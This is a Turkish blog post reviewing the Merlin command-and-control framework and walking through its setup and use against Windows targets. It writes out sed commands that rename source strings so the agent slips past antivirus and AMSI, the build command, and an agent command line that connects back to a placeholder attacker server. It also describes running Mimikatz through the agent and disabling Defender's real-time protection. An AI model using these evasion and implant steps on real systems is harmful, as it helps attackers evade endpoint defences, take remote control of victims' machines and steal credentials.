Merlin Command & Control Framework - İnceleme



Herkese merhabalar,daha önce Empire ve Covenanttan bahsetmiştim ve bu iki c2 frameworkten bahsedip Merlin'den  söz etmemek olmaz diye düşünüp, sizler için Merlin'e bir giriş yapmak istedim.Covenant'tan bahsettiğim yazımda Merlin ve Http2 protokolünden, Http2 protokolü kullanılarak IDS/IPS çözümlerini atlatmanın mümkün olduğundan söz etmiştim.Şimdi Http2 protokolü desteği ile ön plana çıkan, go dili ile yazılmış Merlin'den bahsedelim.

Bir çok güvenlik çözümü, http2 trafiğini ayrıştıracak şekilde donatılmadığı için, anahtarlama materyaline sahip olsa dahi ayrıştıramamaktadır.Bu özelliğe sahip güvenlik çözümleri de http2 protokolünde kullanılan Perfect Forward Secrecy (PFS) şifreleme tekniği kullanıldığından ağ trafiğinin şifresini çözmek için gereken tüm anahtarlama malzemelerini yakalaması oldukça zordur.Buradan özetle Merlin'in bu "büyülü" tarafının desteklediği protokol ve go dili ile yazılmasından kaynaklandığını söylemek yanlış olmayacaktır.

Merlin, server ve agent olmak üzere iki bölümden oluşur. Go'nun gücünden dolayı, her iki bileşen de herhangi bir platformda çalışacak şekilde derlenebilir veya bir betik "gibi" çalıştırılabilir. Linux'ta veya herhangi bir platformda çalışmak üzere derlenen bir sunucu, diğer tüm platformlar için derlenen aracıları işleyebilir.

İlk olarak (yanlış hatırlamıyorsam) 3 sene önce Neondog tarafından git üzerinden yayınlandı ve hala beta aşamasında olmakla birlikte son güncellemeyle önemli ölçüde gelişmiştir.Güncelleme notlarından önemli gördüklerimi aktaracak olursam : 

  • Yeni Listeners menüsü
  • Uygulamayı yeniden başlatmaya gerek kalmadan dilediğiniz kadar listenerı başlatıp durdurma
  • Listenerlara agentların bir url üzerinden bağlanmasını(Örneğin:https://127.0.0.1/sondakika.php)
  • JA3 ile TLS bağlantısı
diyebilirim.Biraz daha geliştirme ile çok daha popüler hale geleceğini düşünüyorum.Lafı fazla uzatmadan kurulum ve kurulum sonrası inceleme kısımlarına geçiş yapalım.

İlk olarak go için gerekli paketlerin kurulmasıyla başlayacağız fakat merlin ve bir takım bileşenler ile uyumlu çalışan(tamamen şahsi düşüncem) go sürümü 1.14 olduğu için bu sürümü kurmanızda fayda vardır.İlgili sürümü bir betik ile kolaylıkla yükleyebilmeniz için linkini buraya bırakıyorum.
Aşağıdaki gibi git reposundan merlini çekiyoruz ve merlin dizinine geçiyoruz

git clone https://github.com/Ne0nd0g/merlin ; cd merlin
Ardından aşağıdaki gibi merlini çalıştırıyoruz

go run cmd/merlinserver/main.go

Güzel bir banner ile açılıyor ve help ile girebileceğimiz komutları listeliyoruz.Biz ilk olarak dinleme yapabilmemiz için gereken listenerı oluşturacağız.


Merlin bize listener için 5 ayrı protokol sunmaktadır.Ben http2 protokolü ile devam edeceğim

Yukarıdaki gibi Interface kısmını 0.0.0.0 yapıyoruz(sadece lokal ağ üzerinden değil, dış ağ üzerinden de agent kabul edebilmek için) ve PSK parametresine bağlantı için gerekli şifreyi veriyoruz 

Son hali bu şekilde olacaktır, şimdi start komutu ile dinleyicimizi başlatıyoruz.


Merlin'de agent yerleştirme senaryomuz, hedef sistemde(osX,Windows,Linux) çalıştırmak üzere bir dosya oluşturup, yine hedef sistem üzerinde ilgili dosyaya merlin server ip adresi ve bağlantı için oluşturduğumuz şifreyi parametre olarak vererek gerçekleştirilmektedir.

Hedef sistemde çalıştıracağımız dosyayı antivirüsler ve AMSI'dan kaçındırmak için aşağıdaki değişiklikleri sırasıyla giriyoruz.Yaptığımız işlem, zararlı olarak sınıflandırılacak string ifadelerin değiştirilmesidir.

find . -name '*.go' -type f -print0 | xargs -0 sed -i 's/ExecuteShell/MiniMice/g'
find . -name '*.go' -type f -print0 | xargs -0 sed -i 's/executeShell/miniMice/g'
find . -name '*.go' -type f -print0 | xargs -0 sed -i 's/github.com\/Ne0nd0g\/merlin/github.com\/mini\/heyho/g'
sed -i 's/github.com\/Ne0nd0g\/merlin/github.com\/mini\/heyho/g' go.mod

Ardından aşağıdaki gibi exe dosyamızı oluşturuyoruz.

make agent-windows DIR="./output"

Sonrasında, SimpleHTTPServer(python3'te http.server) modülü yardımıyla veya başka bir yöntem ile dosyayı yayınlayıp hedef sistemde çekin ve exe dosyasına aşağıdaki gibi url ve psk parametlerini verin.

merlinAgentWindowsx64.exe -url https://ser.ver.ip.adresi:443 -psk bağlantıİçinGerekliŞifre

Veee en son güncellemelerini almış, Windows Defender'ın örnek gönderimi dışındaki bütün özellikleri açık sistemde herhangi bir sorun olmadan bağlantımızı aldık


Biz bağlantımızı aldığımızda arka planda böyle bir trafik oluşmaktadır.(İlk 2 tcp paketi hariç)


İlk olarak agent içerisinde help diyerek neler yapabileceğimize bakıyoruz.Burada dikkat çeken nokta ise agentlara modül çalıştırma görevini agent içerisinde değil, agent menüsünde vermemizdir.Agent içerisinde indirme,yükleme,komut çalıştırma gibi temel komutlar yer almaktadır.Örnek olması için sizlerle Invoke-Mimikatz modülünü çalıştıracak modülü deneyelim.


Her modülde, modüle bir veya birden fazla(yada all parametresi ile mevcut bütün ajanları) ajan belirtmemiz gerekmektedir.Ajanımızı tanımladıktan sonra run diyerek bir modülün çalıştırılmasını sağlayacak görevi ajan(lar)da oluşturuyoruz,fakat ben medium integrity ye sahip olduğumdan ve AMSI bypass işlemi uygulamadığımdan modül çalıştırılamadı.AMSI atlatma ve yetki yükseltme(privilege escalation) işlemleri bu yazının konusu olmadığından, Windows Server 2019 yüklü bir makinede System yetkilerine sahip bir agent oluşturuyorum.

Yine aynı şekilde Defender özellikleri açık ve bağlantımızı aldık.Merlin üzerinde System yetkilerine sahip iken neler yapabileceğimize de kısaca değineceğim.

Merlin ağ trafiğinde ve çalıştırıldığında, güvenlik çözümlerini atlatma konusunda iyi demiştik fakat aynı başarıyı içerideki hareketlerimiz konusunda söyleyemeyeceğim.Çalıştırmak istediğimiz bütün modüller eğer herhangi bir obfuscation yada AMSI bypass işlemi yapılmamışsa, Defender tarafından bloklanmaktadır.Rahat çalışabilmek için agenta vereceğimiz komutlarla Defender'ı devre dışı bırakmanın yollarını araştırdım ve başarılı bir sonuç elde ettim.Yukarıda göreceğiniz üzere Defender'ın tüm özellikleri aktif durumdadır.



Hedef sisteme bir powershell betiği yüklüyoruz ve içerisine yukarıda yer alan satırlardan birisini ekliyoruz veya 4. satırdaki gibi tüm özellikleri tek satırda devre dışı bırakabiliriz.Ben bu örnekte ilk satırda yer alan sadece gerçek zamanlı korumayı devre dışı bırakan komutu çalıştıracağım.


Yukarıdaki komut ile powershell e -File parametresi ile .ps1 dosyamızı veriyoruz.


Görüldüğü üzere, gerçek zamanlı koruma başarılı bir şekilde devre dışı bırakıldı, herhangi bir sorunla karşılaşılmadı.Sadece Defender menüsüne girdiğimizde bizi "blabla.ps1 dosyası Defender'ı devre dışı bıraktı, örneği yollamak istermisiniz" diye bir uyarı karşılıyor fakat biz işimizi rahatça görüyoruz.Bu benim anlık getirdiğim basit bir çözümdü, daha yaratıcılarını üretmek veya bulmakta mümkün.

Merlin ile ilgili aktaracaklarım şimdilik bu kadar.Kesinlikle çok başarılı olduğunu söyleyebilirim, mevcut gelişimini gözlemlediğimde ilerleyen zamanlarda çok daha iyi hale gelecektir.Günümüzde açık kaynak olarak sunulan bir çok c2 framework mevcuttur ve hiç şüphesiz  Merlin'de içlerinde kendini kanıtlamış bir tanesidir diyebilirim.

Konu ile alakalı sorularınız için benimle emrehuseyinkahyaoglu@gmail.com mail adresinden veya sosyal medya aracılığıyla iletişime geçebilirsiniz.Güvenli günler dilerim.



Hiç yorum yok:

Yorum Gönder